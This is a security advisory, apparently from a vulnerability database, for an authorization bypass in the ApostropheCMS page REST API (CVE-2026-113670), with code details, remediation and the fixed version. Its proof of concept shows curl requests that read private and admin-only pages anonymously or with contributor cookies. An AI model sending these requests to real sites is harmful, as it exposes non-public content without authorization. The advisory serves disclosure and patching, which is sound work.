CVE-2026-113670 is a medium-severity (CVSS 5.3) vulnerability in apostrophe. A fix is available for apostrophe — see the affected versions and patch details below.
ApostropheCMS: Page REST API authorization bypass
Real-World Exposure
How broadly this vulnerability is actually deployed: weekly install volume shows current usage, and reverse-dependency count shows how many other packages break if it stays unpatched.
apostrophenpmDescription
Summary
The core page REST API reads full page documents with .permission(false) in getOne and in the all=1 tree dump, bypassing page-type viewRole, visibility: private, and visibility: loginRequired checks. Unauthenticated visitors and low-privilege contributors can read admin-only and non-public page content by _id/slug.
Details
packages/apostrophe/modules/@apostrophecms/page/index.js:
getOne(L456–465):await self.publicApiCheckAsync(req); ... self.getRestQuery(req).permission(false).and(criteria)— noviewRolethreshold, novisibilityfiltering.allhandler (L318–395):getRestQuery(req).permission(false)(L384–385) walks every page type and returns the projection includingvisibility.publicApiCheckAsync(L3044) only checks thatpublicApiProjectionexists — it performs no authorization.- Correct control behaves differently:
piece-type/index.js:getOne(L319–327) usesgetRestQuery(req)without.permission(false)and enforcesviewRole.
PoC
# Anonymous (no session) — private, admin-only page:
curl "http://localhost:3100/api/v1/@apostrophecms/page/d576242ve1dkzb12jiiabujd:en:published"
# → 200 {"_id":"...:en:published","title":"Secret Private Page","slug":"/secret-page",
# "type":"private-type","visibility":"private","secretData":"TOP-SECRET-VALUE-abc123"}
# Anonymous full site-map dump (includes private + loginRequired pages):
curl "http://localhost:3100/api/v1/@apostrophecms/page?all=1" # → 200, full tree
# Contributor (cont_admin) reads full admin-only doc incl. protected field:
curl -b contrib.cookies ".../api/v1/@apostrophecms/page/d576242ve1dkzb12jiiabujd:en:published"
# → 200 secretData = TOP-SECRET-VALUE-abc123
# Controls (correctly enforced):
curl -b contrib.cookies ".../api/v1/@apostrophecms/page?type=private-type&autocomplete=zz" # → 403
curl -b contrib.cookies ".../api/v1/@apostrophecms/page/d576242ve1dkzb12jiiabujd:en:draft" # → 403
Impact
Unauthenticated disclosure of visibility: private and loginRequired pages (full documents, not just paths) and of the complete site structure with visibility/type metadata; contributors read admin-only page types and their protected fields. Because _ids are enumerable and leaked by all=1, this is systemic.
Remediation — Remove .permission(false) from getOne/all or re-apply the type's viewRole threshold plus the same visibility/login-required criteria the list and autocomplete paths use (mirror piece-type); make publicApiCheck config-presence-only and add an explicit authorization step per verb.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 📦npm | apostrophe | all versions | 4.33.0npm install apostrophe@4.33.0 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for apostrophe, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update apostrophe to 4.33.0 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2026-113670 is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
Frequently Asked Questions
Is CVE-2026-113670 in your dependencies?
Find it across npm, including transitive dependencies.